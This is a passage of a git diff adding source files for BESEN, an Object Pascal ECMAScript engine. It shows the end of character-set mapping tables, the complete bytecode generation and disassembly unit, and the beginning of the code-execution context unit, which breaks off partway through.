$0651,$00f9,$0652,$00fb,$00fc,$200e,$200f,$06d2); + + BESENCharCP_1257:TBESENCharsetTable= + ($20ac,$fffd,$201a,$fffd,$201e,$2026,$2020,$2021, + $fffd,$2030,$fffd,$2039,$fffd,$00a8,$02c7,$00b8, + $fffd,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $fffd,$2122,$fffd,$203a,$fffd,$00af,$02db,$fffd, + $00a0,$fffd,$00a2,$00a3,$00a4,$fffd,$00a6,$00a7, + $00d8,$00a9,$0156,$00ab,$00ac,$00ad,$00ae,$00c6, + $00b0,$00b1,$00b2,$00b3,$00b4,$00b5,$00b6,$00b7, + $00f8,$00b9,$0157,$00bb,$00bc,$00bd,$00be,$00e6, + $0104,$012e,$0100,$0106,$00c4,$00c5,$0118,$0112, + $010c,$00c9,$0179,$0116,$0122,$0136,$012a,$013b, + $0160,$0143,$0145,$00d3,$014c,$00d5,$00d6,$00d7, + $0172,$0141,$015a,$016a,$00dc,$017b,$017d,$00df, + $0105,$012f,$0101,$0107,$00e4,$00e5,$0119,$0113, + $010d,$00e9,$017a,$0117,$0123,$0137,$012b,$013c, + $0161,$0144,$0146,$00f3,$014d,$00f5,$00f6,$00f7, + $0173,$0142,$015b,$016b,$00fc,$017c,$017e,$02d9); + + BESENCharCP_1258:TBESENCharsetTable= + ($20ac,$fffd,$201a,$0192,$201e,$2026,$2020,$2021, + $02c6,$2030,$fffd,$2039,$0152,$fffd,$fffd,$fffd, + $fffd,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $02dc,$2122,$fffd,$203a,$0153,$fffd,$fffd,$0178, + $00a0,$00a1,$00a2,$00a3,$00a4,$00a5,$00a6,$00a7, + $00a8,$00a9,$00aa,$00ab,$00ac,$00ad,$00ae,$00af, + $00b0,$00b1,$00b2,$00b3,$00b4,$00b5,$00b6,$00b7, + $00b8,$00b9,$00ba,$00bb,$00bc,$00bd,$00be,$00bf, + $00c0,$00c1,$00c2,$0102,$00c4,$00c5,$00c6,$00c7, + $00c8,$00c9,$00ca,$00cb,$0300,$00cd,$00ce,$00cf, + $0110,$00d1,$0309,$00d3,$00d4,$01a0,$00d6,$00d7, + $00d8,$00d9,$00da,$00db,$00dc,$01af,$0303,$00df, + $00e0,$00e1,$00e2,$0103,$00e4,$00e5,$00e6,$00e7, + $00e8,$00e9,$00ea,$00eb,$0301,$00ed,$00ee,$00ef, + $0111,$00f1,$0323,$00f3,$00f4,$01a1,$00f6,$00f7, + $00f8,$00f9,$00fa,$00fb,$00fc,$01b0,$20ab,$00ff); + + BESENCharKOI8_R:TBESENCharsetTable= + ($2500,$2502,$250c,$2510,$2514,$2518,$251c,$2524, + $252c,$2534,$253c,$2580,$2584,$2588,$258c,$2590, + $2591,$2592,$2593,$2320,$25a0,$2219,$221a,$2248, + $2264,$2265,$00a0,$2321,$00b0,$00b2,$00b7,$00f7, + $2550,$2551,$2552,$0451,$2553,$2554,$2555,$2556, + $2557,$2558,$2559,$255a,$255b,$255c,$255d,$255e, + $255f,$2560,$2561,$0401,$2562,$2563,$2564,$2565, + $2566,$2567,$2568,$2569,$256a,$256b,$256c,$00a9, + $044e,$0430,$0431,$0446,$0434,$0435,$0444,$0433, + $0445,$0438,$0439,$043a,$043b,$043c,$043d,$043e, + $043f,$044f,$0440,$0441,$0442,$0443,$0436,$0432, + $044c,$044b,$0437,$0448,$044d,$0449,$0447,$044a, + $042e,$0410,$0411,$0426,$0414,$0415,$0424,$0413, + $0425,$0418,$0419,$041a,$041b,$041c,$041d,$041e, + $041f,$042f,$0420,$0421,$0422,$0423,$0416,$0412, + $042c,$042b,$0417,$0428,$042d,$0429,$0427,$042a); + +var BESENLocaleCharset:TBESENCharset; + +implementation + +end. diff --git a/Core/JS/BESENCode.pas b/Core/JS/BESENCode.pas new file mode 100644 index 0000000..1be93e3 --- /dev/null +++ b/Core/JS/BESENCode.pas @@ -0,0 +1,699 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCode; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENValue,BESENBaseObject, + BESENCollectorObject,BESENASTNodes,BESENStringList, + BESENHashMap; + +type TBESENCodeVariable=record + Name:TBESENString; + IsParameter:longbool; + ParameterIndex:integer; + end; + + TBESENCodeVariables=array of TBESENCodeVariable; + + PBESENCodePolymorphicInlineCacheItem=^TBESENCodePolymorphicInlineCacheItem; + TBESENCodePolymorphicInlineCacheItem=record + StructureID:TBESENINT32; + Index:TBESENINT32; + ID:TBESENINT32; + NestedLevel:TBESENINT32; + end; + + TBESENCodePolymorphicInlineCacheItems=array[0..BESENPolymorphicInlineCacheSize-1] of TBESENCodePolymorphicInlineCacheItem; + + PBESENCodePolymorphicInlineCacheInstruction=^TBESENCodePolymorphicInlineCacheInstruction; + TBESENCodePolymorphicInlineCacheInstruction=record + CacheItems:TBESENCodePolymorphicInlineCacheItems; + CacheItemPositions:TBESENUINT32; + end; + + TBESENCodePolymorphicInlineCacheInstructions=array of PBESENCodePolymorphicInlineCacheInstruction; + + TBESENCode=class(TBESENBaseObject) + public + CodePrevious,CodeNext:TBESENCode; + ByteCode:TBESENUINT32s; + ByteCodeLen:integer; + NativeCode:pointer; + NativeCodeSize:ptruint; + NativeCodePCOffsets:TBESENNativeCodePCOffsets; + Body:TBESENASTNodeFunctionBody; + FunctionLiteralContainers:TBESENFunctionLiteralContainers; + Literals:TBESENValues; + Locations:TBESENLocations; + Variables:TBESENCodeVariables; + PolymorphicInlineCacheInstructions:TBESENCodePolymorphicInlineCacheInstructions; + CountFunctionLiteralContainers:integer; + CountLiterals:integer; + CountLocations:integer; + CountVariables:integer; + CountPolymorphicInlineCacheInstructions:integer; + MaxRegisters:integer; + MaxBlock:integer; + MaxParamArgs:integer; + MaxLoop:integer; + HasLocalDelete:TBESENBoolean; + IsComplexFunction:TBESENBoolean; + HasMaybeDirectEval:TBESENBoolean; + HoldLocalVariablesInRegisters:TBESENBoolean; + LastCodePos:integer; + LastOpcode:integer; + LastLine:integer; + LookupNames:TBESENStringList; + FreeCodeContexts:TObject; + CountOfFreeCodeContexts:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Mark; + procedure Finish; + procedure ResetPolymorphicInlineCacheInstructions; + function Put(v:TBESENUINT32):integer; + function Patch(Offset:integer;v:TBESENUINT32):boolean; + function GenOp(Opcode:TBESENUINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7,Operand8:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7,Operand8,Operand9:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7,Operand8,Operand9,Operand10:TBESENINT32):integer; overload; + function GenOp(Opcode:TBESENUINT32;Operands:array of TBESENINT32):integer; overload; + function GenLabel(Offset:TBESENUINT32):boolean; + function Here:integer; + procedure Restore(Pos:integer); + function GenLiteral(const v:TBESENValue;DestRegNr:integer):integer; + function GenFunction(const f:TBESENFunctionLiteralContainer;DestRegNr:integer):integer; + function GenLocation(const l:TBESENLocation):integer; + function GenVariable(const s:TBESENString;IsParameter:boolean;ParameterIndex:integer;const CodeGeneratorContext:TObject):integer; + function GenPolymorphicInlineCacheInstruction:integer; + function Disassemble:TBESENString; + procedure Execute(const Context:TObject;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENContext,BESENCodeContext,BESENUtils,BESENOpcodes,BESENCodeGeneratorContext; + +constructor TBESENCode.Create(AInstance:TObject); +begin + inherited Create(AInstance); + CodeNext:=nil; + if assigned(TBESEN(Instance).CodeLast) then begin + TBESEN(Instance).CodeLast.CodeNext:=self; + CodePrevious:=TBESEN(Instance).CodeLast; + TBESEN(Instance).CodeLast:=self; + end else begin + CodePrevious:=nil; + TBESEN(Instance).CodeFirst:=self; + TBESEN(Instance).CodeLast:=self; + end; + ByteCode:=nil; + ByteCodeLen:=0; + NativeCode:=nil; + NativeCodeSize:=0; + NativeCodePCOffsets:=nil; + Body:=nil; + FunctionLiteralContainers:=nil; + Literals:=nil; + Locations:=nil; + Variables:=nil; + PolymorphicInlineCacheInstructions:=nil; + CountFunctionLiteralContainers:=0; + CountLiterals:=0; + CountLocations:=0; + CountVariables:=0; + CountPolymorphicInlineCacheInstructions:=0; + MaxRegisters:=0; + MaxBlock:=0; + MaxLoop:=0; + MaxParamArgs:=0; + HasLocalDelete:=false; + IsComplexFunction:=false; + HasMaybeDirectEval:=false; + HoldLocalVariablesInRegisters:=false; + LastCodePos:=-1; + LastOpcode:=-1; + LastLine:=-1; + LookupNames:=TBESENStringList.Create; + FreeCodeContexts:=nil; + CountOfFreeCodeContexts:=0; +end; + +destructor TBESENCode.Destroy; +var i:integer; + NextCodeContext:TBESENCodeContext; +begin + while assigned(TBESENCodeContext(FreeCodeContexts)) do begin + NextCodeContext:=TBESENCodeContext(FreeCodeContexts).NextCodeContext; + TBESENCodeContext(FreeCodeContexts).NextCodeContext:=nil; + BESENFreeAndNil(FreeCodeContexts); + TBESENCodeContext(FreeCodeContexts):=NextCodeContext; + end; + BESENFreeAndNil(LookupNames); + for i:=0 to length(Literals)-1 do begin + Literals[i].Str:=''; + Literals[i].ReferenceBase.Str:=''; + Literals[i]:=BESENEmptyValue; + end; + for i:=0 to length(Variables)-1 do begin + Variables[i].Name:=''; + end; + SetLength(FunctionLiteralContainers,0); + SetLength(Literals,0); + SetLength(Locations,0); + SetLength(Variables,0); + for i:=0 to length(PolymorphicInlineCacheInstructions)-1 do begin + if assigned(PolymorphicInlineCacheInstructions[i]) then begin + Dispose(PolymorphicInlineCacheInstructions[i]); + PolymorphicInlineCacheInstructions[i]:=nil; + end; + end; + SetLength(PolymorphicInlineCacheInstructions,0); + SetLength(ByteCode,0); + SetLength(NativeCodePCOffsets,0); + if assigned(NativeCode) then begin + TBESEN(Instance).NativeCodeMemoryManager.FreeMemory(NativeCode); + NativeCode:=nil; + end; + if assigned(CodePrevious) then begin + CodePrevious.CodeNext:=CodeNext; + end else if TBESEN(Instance).CodeFirst=self then begin + TBESEN(Instance).CodeFirst:=CodeNext; + end; + if assigned(CodeNext) then begin + CodeNext.CodePrevious:=CodePrevious; + end else if TBESEN(Instance).CodeLast=self then begin + TBESEN(Instance).CodeLast:=CodePrevious; + end; + CodePrevious:=nil; + CodeNext:=nil; + inherited Destroy; +end; + +procedure TBESENCode.Mark; +var i:integer; +begin + for i:=0 to CountFunctionLiteralContainers-1 do begin + if assigned(FunctionLiteralContainers[i]) then begin + TBESEN(Instance).GarbageCollector.GrayIt(FunctionLiteralContainers[i]); + end; + end; + for i:=0 to CountLiterals-1 do begin + TBESEN(Instance).GarbageCollector.GrayValue(Literals[i]); + end; +end; + +procedure TBESENCode.Finish; +var i,j:integer; +begin + SetLength(ByteCode,ByteCodeLen); + SetLength(FunctionLiteralContainers,CountFunctionLiteralContainers); + SetLength(Literals,CountLiterals); + SetLength(Locations,CountLocations); + SetLength(Variables,CountVariables); + j:=length(PolymorphicInlineCacheInstructions); + SetLength(PolymorphicInlineCacheInstructions,CountPolymorphicInlineCacheInstructions); + for i:=j to length(PolymorphicInlineCacheInstructions)-1 do begin + PolymorphicInlineCacheInstructions[i]:=nil; + end; + for i:=0 to length(PolymorphicInlineCacheInstructions)-1 do begin + if not assigned(PolymorphicInlineCacheInstructions[i]) then begin + New(PolymorphicInlineCacheInstructions[i]); + end; + end; + ResetPolymorphicInlineCacheInstructions; +end; + +function TBESENCode.Put(v:TBESENUINT32):integer; +begin + result:=ByteCodeLen; + if ByteCodeLen>=length(ByteCode) then begin + SetLength(ByteCode,(ByteCodeLen+4096) and not 4095); + end; + ByteCode[result]:=v; + inc(ByteCodeLen); +end; + +function TBESENCode.Patch(Offset:integer;v:TBESENUINT32):boolean; +begin + result:=Offset<=ByteCodeLen; + if result then begin + ByteCode[Offset]:=v; + end; +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32):integer; +begin + if (Opcode in [bopGC,bopSTRICTCHECKREF,bopDEBUGGER,bopCHECKOBJECTCOERCIBLE,bopTRACE]) and (TBESENUINT32(LastOpcode)=Opcode) then begin + result:=LastCodePos; + end else begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put(Opcode and $ff); + end; +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (1 shl 8)); + Put(Operand); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (2 shl 8)); + Put(Operand1); + Put(Operand2); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (3 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (4 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); + Put(Operand4); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (5 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); + Put(Operand4); + Put(Operand5); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (6 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); + Put(Operand4); + Put(Operand5); + Put(Operand6); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (7 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); + Put(Operand4); + Put(Operand5); + Put(Operand6); + Put(Operand7); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7,Operand8:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (8 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); + Put(Operand4); + Put(Operand5); + Put(Operand6); + Put(Operand7); + Put(Operand8); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7,Operand8,Operand9:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (9 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); + Put(Operand4); + Put(Operand5); + Put(Operand6); + Put(Operand7); + Put(Operand8); + Put(Operand9); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operand1,Operand2,Operand3,Operand4,Operand5,Operand6,Operand7,Operand8,Operand9,Operand10:TBESENINT32):integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (10 shl 8)); + Put(Operand1); + Put(Operand2); + Put(Operand3); + Put(Operand4); + Put(Operand5); + Put(Operand6); + Put(Operand7); + Put(Operand8); + Put(Operand9); + Put(Operand10); +end; + +function TBESENCode.GenOp(Opcode:TBESENUINT32;Operands:array of TBESENINT32):integer; +var i:integer; +begin + LastCodePos:=Here; + LastOpcode:=Opcode; + result:=Put((Opcode and $ff) or (longword(length(Operands)) shl 8)); + for i:=0 to length(Operands)-1 do begin + Put(Operands[i]); + end; +end; + +function TBESENCode.GenLabel(Offset:TBESENUINT32):boolean; +begin + result:=Patch(Offset,Here); +end; + +function TBESENCode.Here:integer; +begin + result:=ByteCodeLen; +end; + +procedure TBESENCode.Restore(Pos:integer); +begin + ByteCodeLen:=Pos; + LastCodePos:=-1; + LastOpcode:=-1; +end; + +function TBESENCode.GenLiteral(const v:TBESENValue;DestRegNr:integer):integer; +const BoolToInt:array[boolean] of longword=(0,$ffffffff); +var i:integer; + Okay:boolean; +begin + result:=-1; + for i:=0 to CountLiterals-1 do begin + if Literals[i].ValueType=v.ValueType then begin + case v.ValueType of + bvtUNDEFINED:begin + Okay:=true; + end; + bvtNULL:begin + Okay:=true; + end; + bvtBOOLEAN:begin + Okay:=Literals[i].Bool=v.Bool; + end; + bvtNUMBER:begin + Okay:=int64(pointer(@Literals[i].Num)^)=int64(pointer(@v.Num)^); + end; + bvtSTRING:begin + Okay:=Literals[i].Str=v.Str; + end; + bvtOBJECT:begin + Okay:=Literals[i].Obj=v.Obj; + end; + else begin + Okay:=false; + end; + end; + if Okay then begin + result:=i; + break; + end; + end; + end; + if result<0 then begin + result:=CountLiterals; + if CountLiterals>=length(Literals) then begin + SetLength(Literals,CountLiterals+256); + end; + Literals[result]:=v; + inc(CountLiterals); + end; + case v.ValueType of + bvtUNDEFINED:begin + GenOp(bopLITERALUNDEF,DestRegNr); + end; + bvtNULL:begin + GenOp(bopLITERALNULL,DestRegNr); + end; + bvtBOOLEAN:begin + if v.Bool then begin + GenOp(bopLITERALBOOL,DestRegNr,BoolToInt[true]); + end else begin + GenOp(bopLITERALBOOL,DestRegNr,BoolToInt[false]); + end; + end; + bvtNUMBER:begin + GenOp(bopLITERALNUM,DestRegNr,result); + end; + bvtSTRING:begin + GenOp(bopLITERALSTR,DestRegNr,result); + end; + bvtOBJECT:begin + GenOp(bopLITERALOBJ,DestRegNr,result); + end; + else begin + GenOp(bopLITERAL,DestRegNr,result); + end; + end; +end; + +function TBESENCode.GenFunction(const f:TBESENFunctionLiteralContainer;DestRegNr:integer):integer; +var i:integer; +begin + result:=-1; + for i:=0 to CountFunctionLiteralContainers-1 do begin + if FunctionLiteralContainers[i]=f then begin + result:=i; + break; + end; + end; + if result<0 then begin + result:=CountFunctionLiteralContainers; + if CountFunctionLiteralContainers>=length(FunctionLiteralContainers) then begin + SetLength(FunctionLiteralContainers,CountFunctionLiteralContainers+256); + end; + FunctionLiteralContainers[result]:=f; + inc(CountFunctionLiteralContainers); + end; + GenOp(bopFUNC,DestRegNr,result); +end; + +function TBESENCode.GenLocation(const l:TBESENLocation):integer; +var i:integer; + LastOpcodeWasLine:boolean; +begin + result:=-1; + if TBESEN(Instance).CodeLineInfo or TBESEN(Instance).CodeTracable then begin + for i:=0 to CountLocations-1 do begin + if Locations[i].LineNumber=l.LineNumber then begin + result:=i; + break; + end; + end; + if result<0 then begin + result:=CountLocations; + if CountLocations>=length(Locations) then begin + SetLength(Locations,CountLocations+256); + end; + Locations[result]:=l; + inc(CountLocations); + end; + LastOpcodeWasLine:=LastOpcode=bopLINE; + if LastLine<>result then begin + LastLine:=result; + if LastOpcodeWasLine then begin + ByteCode[LastCodePos+1]:=result; + end else begin + GenOp(bopLINE,result); + end; + end; + if TBESEN(Instance).CodeTracable and not LastOpcodeWasLine then begin + GenOp(bopTRACE); + end; + end; +end; + +function TBESENCode.GenVariable(const s:TBESENString;IsParameter:boolean;ParameterIndex:integer;const CodeGeneratorContext:TObject):integer; +var Item:PBESENHashMapItem; +begin + Item:=TBESENCodeGeneratorContext(CodeGeneratorContext).VariableNameHashMap.GetKey(s); + if assigned(Item) then begin + result:=Item^.Value; + end else begin + result:=-1; + end; + if result<0 then begin + result:=CountVariables; + if CountVariables>=length(Variables) then begin + SetLength(Variables,CountVariables+256); + end; + Variables[result].Name:=s; + Variables[result].IsParameter:=IsParameter; + Variables[result].ParameterIndex:=ParameterIndex; + Item:=TBESENCodeGeneratorContext(CodeGeneratorContext).VariableNameHashMap.NewKey(s,true); + Item^.Value:=result; + inc(CountVariables); + end; +end; + +function TBESENCode.GenPolymorphicInlineCacheInstruction:integer; +begin + result:=CountPolymorphicInlineCacheInstructions; + inc(CountPolymorphicInlineCacheInstructions); +end; + +procedure TBESENCode.ResetPolymorphicInlineCacheInstructions; +var PC,OPC,Instruction:TBESENUINT32; + i,j:integer; + PolymorphicInlineCacheInstruction:PBESENCodePolymorphicInlineCacheInstruction; + CacheItem:PBESENCodePolymorphicInlineCacheItem; +begin + PC:=0; + while PC<TBESENUINT32(ByteCodeLen) do begin + Instruction:=ByteCode[PC]; + OPC:=PC+1; + inc(PC,1+(Instruction shr 8)); + case Instruction and $ff of + bopREF:begin + ByteCode[OPC+6]:=TBESENUINT32(TBESENINT32(-1)); + ByteCode[OPC+7]:=TBESENUINT32(TBESENINT32(-1)); + ByteCode[OPC+8]:=TBESENUINT32(TBESENINT32(-1)); + ByteCode[OPC+9]:=TBESENUINT32(TBESENINT32(-1)); + end; + bopVREF:begin + ByteCode[OPC+4]:=TBESENUINT32(TBESENINT32(-1)); + ByteCode[OPC+5]:=TBESENUINT32(TBESENINT32(-1)); + ByteCode[OPC+6]:=TBESENUINT32(TBESENINT32(-1)); + ByteCode[OPC+7]:=TBESENUINT32(TBESENINT32(-1)); + end; + end; + end; + for i:=0 to CountPolymorphicInlineCacheInstructions-1 do begin + PolymorphicInlineCacheInstruction:=PolymorphicInlineCacheInstructions[i]; + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENPolymorphicInlineCacheStartItemPositions; + for j:=0 to BESENPolymorphicInlineCacheSize-1 do begin + CacheItem:=@PolymorphicInlineCacheInstruction^.CacheItems[j]; + CacheItem^.StructureID:=-1; + CacheItem^.Index:=-1; + CacheItem^.ID:=-1; + CacheItem^.NestedLevel:=-1; + end; + end; +end; + +function TBESENCode.Disassemble:TBESENString; +var PC,OPC,Instruction,i:TBESENUINT32; + Output:TBESENString; + procedure Add(const s:TBESENString); + begin + Output:=Output+s; + end; +begin + Output:=''; + PC:=0; + while PC<TBESENUINT32(ByteCodeLen) do begin + Output:=Output+IntToHex(PC,8)+': '; + Instruction:=ByteCode[PC]; + OPC:=PC+1; + inc(PC,1+(Instruction shr 8)); + Add('0x'+IntToHex(Instruction and $ff,2)+' '); + if (Instruction and $ff)<longword(length(OpcodeNames)) then begin + Add(OpcodeNames[Instruction and $ff]); + end else begin + Add('UNKNOWN'); + end; + for i:=1 to Instruction shr 8 do begin + Add(' 0x'+IntToHex(ByteCode[OPC+(i-1)],8)); + end; + Output:=Output+#13#10; + end; + result:=Output; +end; + +procedure TBESENCode.Execute(const Context:TObject;var ResultValue:TBESENValue); +var CodeContext:TBESENCodeContext; +begin + if assigned(FreeCodeContexts) then begin + CodeContext:=TBESENCodeContext(FreeCodeContexts); + TBESENCodeContext(FreeCodeContexts):=TBESENCodeContext(FreeCodeContexts).NextCodeContext; + dec(CountOfFreeCodeContexts); + end else begin + CodeContext:=TBESENCodeContext.Create(Instance,self); + end; + TBESENCodeContext(TBESENContext(Context).CodeContext):=CodeContext; + try + TBESENCodeContext(TBESENContext(Context).CodeContext).Execute(TBESENContext(Context),ResultValue); + finally + TBESENContext(Context).CodeContext:=nil; + TBESENCodeContext(CodeContext).Context:=nil; + if CountOfFreeCodeContexts<TBESEN(Instance).MaxCountOfFreeCodeContexts then begin + CodeContext.NextCodeContext:=TBESENCodeContext(FreeCodeContexts); + TBESENCodeContext(FreeCodeContexts):=CodeContext; + inc(CountOfFreeCodeContexts); + end else begin + BESENFreeAndNil(CodeContext); + end; + end; +end; + +end. diff --git a/Core/JS/BESENCodeContext.pas b/Core/JS/BESENCodeContext.pas new file mode 100644 index 0000000..fdd2e67 --- /dev/null +++ b/Core/JS/BESENCodeContext.pas @@ -0,0 +1,4013 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCodeContext; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix, + UnixType,{$endif}SysUtils,Classes,Math,BESENConstants,BESENTypes,BESENValue, + BESENBaseObject,BESENCollectorObject,BESENObject,BESENLexicalEnvironment, + BESENStringList,BESENContext,BESENCode, + BESENObjectPropertyDescriptor; + +type TBESENCodeContextBlockType=(bccbtENUM,bccbtWITH,bccbtCATCH,bccbtCATCH2,bccbtFINALLY,bccbtFINALLY2); + + PBESENCodeContextBlock=^TBESENCodeContextBlock; + + TBESENCodeContextBlock=record + BlockType:TBESENCodeContextBlockType; + OldEnumBlock:PBESENCodeContextBlock; + PropertyEnumerator:TBESENObjectPropertyEnumerator; + OldPropertyEnumerator:TBESENObjectPropertyEnumerator; + LastTryBlock:longword; + Resume:longword; + Handler:longword; + Ident:TBESENString; + Obj:TBESENObject; + LexicalEnvironment:TBESENLexicalEnvironment; + Done:longbool; + Raised:longbool; + Value:TBESENValue; + end; + + TBESENCodeContextBlocks=array of TBESENCodeContextBlock; + + TBESENCodeContextOpcode=procedure(Operands:PBESENINT32Array) of object; {$ifdef UseRegister}register;{$endif} + + TBESENCodeContextOpcodePointers=array[byte] of pointer; + + TBESENCodeContextOpcodeArgs=array[byte] of longbool; + + TBESENCodeContextGetRefProc=procedure(const ARef:TBESENValue;var AResult:TBESENValue) of object; + + TBESENCodeContextGetRefProcs=array[byte] of TBESENCodeContextGetRefProc; + + TBESENCodeContextPutRefProc=procedure(const ARef,AValue:TBESENValue) of object; + + TBESENCodeContextPutRefProcs=array[byte] of TBESENCodeContextPutRefProc; + + TBESENCodeContextParameterIndices=array of integer; + + TBESENCodeContext=class(TBESENBaseObject) + private + LexicalEnvironment:TBESENLexicalEnvironment; + OldLexicalEnvironment:TBESENLexicalEnvironment; + GetRefProcs:TBESENCodeContextGetRefProcs; + PutRefProcs:TBESENCodeContextPutRefProcs; + LookupNames:PBESENStringArray; + procedure OpSTOP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNEW(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCALL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpEND(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpVREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNOP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCOPY(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNSEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpAREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTHROW(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSETC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTHIS(Operands:PBESENINT32Array); {$ifdef 